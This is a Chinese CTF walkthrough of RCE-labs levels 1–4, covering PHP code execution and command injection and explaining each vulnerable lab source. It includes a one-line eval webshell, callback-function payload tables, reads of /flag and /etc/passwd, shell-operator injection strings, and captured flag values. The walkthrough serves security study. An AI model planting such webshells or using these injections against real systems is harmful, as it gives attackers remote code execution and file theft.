【RCELABS】Level 1~4 ------ 基础篇
前言
本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目
远程代码执行、命令注入是Web安全与CTF Web题型里十分核心的考点。这套靶场循序渐进,覆盖基础执行原理、各类过滤绕过、无字母数字Payload、短字符极限利用、PHP特性漏洞、模板注入等大量经典场景,非常适合系统性练习RCE相关漏洞思路。
文中所有分析、Payload仅在自行部署的本地靶场环境进行学习练习,仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权的目标,自觉遵守《网络安全法》等相关法律法规。
Level 0为理论先导关卡,相关基础概念整合于前言,正文将从 Level 1 开始逐关开展源码审计与漏洞复现。整篇文章统一采用源码分析→原理拆解→Payload构造的结构,方便后续回顾。
RCELABS - 1:一句话木马和代码执行
题目描述
- 考点:一句话木马与 PHP 代码执行
- 描述:通过 eval 执行用户提交的 PHP 代码,理解一句话木马的基本形态。
php
<?php
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 一句话木马和代码执行 ---
「代码执行(Code Execution)」 在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的`eval()`函数或Python中的`exec()`函数。
当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 ------ 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval("system('cat /etc/passwd');"); 也被归为代码执行漏洞。
我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)
try POST:
a=echo "Hello,World!";
*/
eval($_POST['a']);
highlight_file(__FILE__);
?>
源码分析
核心危险代码:
php
eval($_POST['a']);
| 代码元素 | 功能说明 | 风险分析 |
|---|---|---|
eval() |
PHP 语言构造器,接收字符串并将其解析为 PHP 代码执行 | 高危危险函数,可执行任意代码 |
$_POST['a'] |
接收 HTTP POST 请求中的参数 a |
完全用户可控,无过滤、无转义 |
include("get_flag.php") |
引入外部文件,将变量载入当前作用域 | $flag 变量已存在,可直接读取输出 |
漏洞原理
这是一道典型的 PHP 代码执行漏洞入门题。用户可控的 POST 参数 a 被直接传入 eval() 函数,没有经过任何过滤处理,因此可以执行任意合法的 PHP 语句------这也是一句话木马的基本原型。
一句话木马的核心逻辑可以概括为:
一个可控参数 + 一个代码执行函数 = 完整后门能力
php
<?php eval($_POST['a']); ?>
虽然只有一行代码,但攻击者可以通过参数 a 传入任意代码,实现文件读写、命令执行、数据库操作等多种恶意行为。
💡 为什么用 POST 而不是 GET?
- POST 可传输更长的数据,适合发送复杂 Payload
- 相对隐蔽,不会直接出现在服务器访问日志的 URL 中
- 蚁剑、菜刀等 WebShell 管理工具默认使用 POST 传参
Payload 构造
由于 get_flag.php 已经通过 include 引入当前页面,$flag 变量直接存在于当前作用域中,因此最简单的利用方式就是直接输出该变量:
a=echo $flag;
这行 Payload 被 eval() 执行后,等价于在页面中执行了:
php
echo $flag;
无需调用系统命令,也无需读取文件,直接输出变量即可拿到 flag。
方式一:curl 命令(Kali/Linux)
bash
curl -X POST -d "a=echo \$flag;" http://challenge.cyclens.tech:31295/
⚠️ 注意:在 Linux Shell 中,
$符号会被识别为变量引用,需要用\转义为\$,否则 Payload 会失效。
成功获取 flag:
flag{r9k4zryx-s9dg-4vg-89hn-2uorp7jjnlcci}

方式二:Firefox HackBar 插件
- 打开目标页面,启动 HackBar
- 勾选
POST,Content-Type 选择application/x-www-form-urlencoded - 在 POST Body 中填入:
a=echo $flag; - 点击 Execute 发送请求

RCELABS - 2:PHP代码执行函数
题目描述
- 考点:PHP 可回调代码执行函数
- 描述:从一组可执行代码的 PHP 函数中随机抽取,根据抽到的函数构造对应参数,完成代码执行读取
$flag。
php
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP代码执行函数 ---
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
源码分析
php
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
核心逻辑:
- 程序从函数列表中随机抽取一个函数,存入 session
- 访问
?action=submit时,接收 POST 参数content - 拼接成
函数名(content);的格式,送入eval()执行 - flag 存储在全局变量
$flag中
随机函数列表:
php
$func_list = ['eval','assert','call_user_func','create_function','array_map',
'call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
小技巧:访问
?action=r可销毁 session,重置随机函数。
漏洞原理
这关考察对 PHP 各类回调函数 / 代码执行函数的熟悉程度。不同函数的参数格式不同,需要根据抽到的函数构造对应的 payload。
各函数 Payload 对照表
| 随机函数 | POST content Payload | 拼接后最终执行代码 | 难度 |
|---|---|---|---|
| eval | "echo $flag;" |
eval("echo $flag;"); |
⭐ |
| assert | "echo $flag;" |
assert("echo $flag;"); |
⭐ |
| call_user_func | "var_dump",$flag |
call_user_func("var_dump",$flag); |
⭐⭐ |
| call_user_func_array | "echo",[$flag] |
call_user_func_array("echo",[$flag]); |
⭐⭐ |
| array_map | "var_dump",[$flag] |
array_map("var_dump",[$flag]); |
⭐⭐ |
| array_filter | "var_dump",[$flag] |
array_filter([$flag],"var_dump"); |
⭐⭐ |
| array_reduce | "var_dump",[$flag],1 |
array_reduce([$flag],"var_dump",1); |
⭐⭐⭐ |
| usort | "var_dump",[$flag,1] |
usort([$flag,1],"var_dump"); |
⭐⭐⭐ |
| create_function | '',$flag;} |
create_function('',$flag;}); |
⭐⭐⭐ |
| preg_replace | "/abc/e","echo $flag;","abc" |
preg_replace("/abc/e","echo $flag;","abc"); |
⭐⭐⭐⭐ |
解题步骤
- 访问靶场地址,页面顶部会显示当前会话随机抽取的函数名
- 若抽到
eval/assert,直接使用最简 payload 即可通关 - 若抽到复杂函数,两种方案任选:
- 方案一:根据函数语法构造对应 payload 直接利用
- 方案二:访问
?action=r重置会话,重新随机(刷出简单函数为止)
- 构造 POST 请求,将 payload 以
content参数提交到?action=submit
实战演示(以 call_user_func 为例)
当前抽到函数:call_user_func
HackBar 配置:
| 项 | 值 |
|---|---|
| 请求方式 | POST |
| URL | http://challenge.cyclens.tech:30731/?action=submit |
| POST Body | content="var_dump",$flag |
拼接后执行代码:
php
call_user_func("var_dump", $flag);
执行效果:

call_user_func(回调函数, 参数1, 参数2...)
- 第一个参数
"var_dump"作为回调函数名 - 第二个参数
$flag作为传入参数 - 最终执行
var_dump($flag),直接输出 flag 内容
成功获取flag:flag{swugxzbq-wdpl-4td-8m9t-cqih1yyd79gry}
RCELABS - 3:命令执行
题目描述
- 考点:最基础的命令执行
- 描述:直接将用户输入送入 system,理解命令执行入口的最小形态。
php
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 ---
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。
当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":
try POST:
a=cat /etc/passwd;
*/
system($_POST['a']);
highlight_file(__FILE__);
?>
源码分析
核心危险代码:
php
system($_POST['a']);
system():PHP 命令执行函数,接收字符串参数,将其作为系统命令执行并直接输出结果- 可控点:POST 参数
a直接传入system(),无任何过滤、转义处理 - flag 位置:本题没有 include 引入 flag 变量,flag 存放在系统文件中,需要用命令读取
页面顶部的
Cannot execute a blank command报错也能帮我们确认参数名------首次访问没传参时 system 接收到空值,侧面验证了参数a是正确的入口。
漏洞原理
这是一道经典的 PHP 命令执行漏洞入门题。用户可控的 POST 参数直接送入 system() 函数,没有经过任何过滤,因此可以执行任意系统命令。
命令执行型一句话木马的原型就是这样:
php
<?php system($_POST['a']); ?>
和代码执行(eval)的区别在于:命令执行直接对接系统 Shell,只能跑系统命令;代码执行跑的是 PHP 代码,能力范围更大,也可以调用命令执行函数来跑系统命令。
Payload(POST)
最简写法:
a=cat /flag
flag 存放在系统根目录的 /flag 文件中,直接用 cat 命令读取即可。
利用方式
- curl 命令(Kali/Linux)
bash
curl -X POST -d "a=cat /flag" http://靶场地址/
成功获取 flag:flag{wdh39jc9-h2c8-4go-8vgg-hk5vwtwfqev6t}

- Firefox HackBar
勾选 application/x-www-form-urlencoded,POST Body 填入 a=cat /flag,点击 Execute 发送。
⚠️ 如果遇到
Cannot execute a blank command报错,说明参数没传成功,检查一下 POST 参数名是不是a,以及数据格式是否正确。
RCELABS - 4:命令执行 - SHELL 运算符
题目描述
- 考点:命令执行 + Shell 运算符
- 描述:通过 Shell 运算符拼接命令,绕过正常业务逻辑执行任意系统命令。
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---
https://www.runoob.com/linux/linux-shell-basic-operators.html
SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
try GET:
?ip=8.8.8.8
flag is /flag
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
源码分析
核心危险代码:
php
system("ping -c 1 $ip");
$ip 参数完全可控,直接拼接到 system() 执行的命令字符串中。没有对输入做任何过滤或转义,可以通过 Shell 运算符在 ping 命令后拼接任意系统命令。
| 代码元素 | 功能说明 | 风险分析 |
|---|---|---|
system() |
PHP 命令执行函数,执行系统命令并直接输出结果 | 高危危险函数 |
$ip |
用户通过 GET 传入的 IP 参数 | 完全可控,无任何过滤 |
| 拼接方式 | 直接字符串拼接 "ping -c 1 $ip" |
可注入 Shell 运算符截断原命令 |
漏洞原理
这是一道典型的命令注入漏洞。业务逻辑原本只是让用户输入 IP 执行 ping 命令,但由于没有对输入做过滤,攻击者可以在 IP 后面拼接 Shell 运算符,注入第二条恶意命令。
以 ?ip=127.0.0.1;cat /flag 为例,拼接后实际执行的完整命令是:
bash
ping -c 1 127.0.0.1;cat /flag
Shell 会把 ; 识别为命令分隔符,先执行 ping,再执行 cat /flag,从而绕过正常业务逻辑执行任意命令。
常用 Shell 运算符
| 运算符 | 作用 | 执行逻辑示例 |
|---|---|---|
; |
命令分隔符,前面执行完继续执行后面 | cmd1;cmd2 ------ 先执行 cmd1,再执行 cmd2 |
&& |
逻辑与,前面命令成功才执行后面 | cmd1&&cmd2 ------ cmd1 成功返回 0,才执行 cmd2 |
| ` | ` | |
& |
后台运行,前后命令并行执行 | cmd1&cmd2 ------ cmd1 放后台,立即执行 cmd2 |
Payload(GET)
最简单直接:
bash
?ip=127.0.0.1;cat /flag
执行流程:先 ping -c 1 127.0.0.1,ping 完成后执行 cat /flag 读取 flag。
其他可行姿势
bash
?ip=127.0.0.1&&cat /flag
ping 成功后才执行 cat,和 ; 效果类似,但要求前一条命令必须成功。
bash
?ip=||cat /flag
不传 IP,ping 空地址执行失败,触发逻辑或 || 直接执行 cat /flag。这种写法更短,不需要写合法 IP。
bash
?ip=127.0.0.1%26cat /flag
⚠️ 注意:
&在 URL 中是参数分隔符,直接写会被截断,必须 URL 编码为%26。

成功获得 flag:flag{kibyilny-s3lo-4yf-8oan-kcgrrczq0bzfj}
💡 核心思路:利用 Shell 运算符「截断」或「拼接」第二条命令,突破原有 ping 业务逻辑的限制。
总结
本靶场1~4分为PHP代码执行、系统命令执行两大模块。Level1、Level2属于PHP代码执行漏洞,依靠eval()执行PHP语法,可直接读取作用域内$flag变量;其中Level2存在Session随机函数机制,需要注意GET、POST混合传参规则。
Level3、Level4为系统命令执行,漏洞会调用操作系统Shell指令读取文件。Level4重点考察Shell分隔符逃逸,借助;、&&等运算符突破原有命令限制。需要区分两类漏洞利用思路,代码执行使用PHP语法,命令执行填写系统Shell指令,Payload不能混用。
免责声明
本篇文章所有内容仅用于安全学习交流,全部实验在本地自建靶场完成。禁止直接用于未授权测试,非法渗透测试需承担相应法律责任。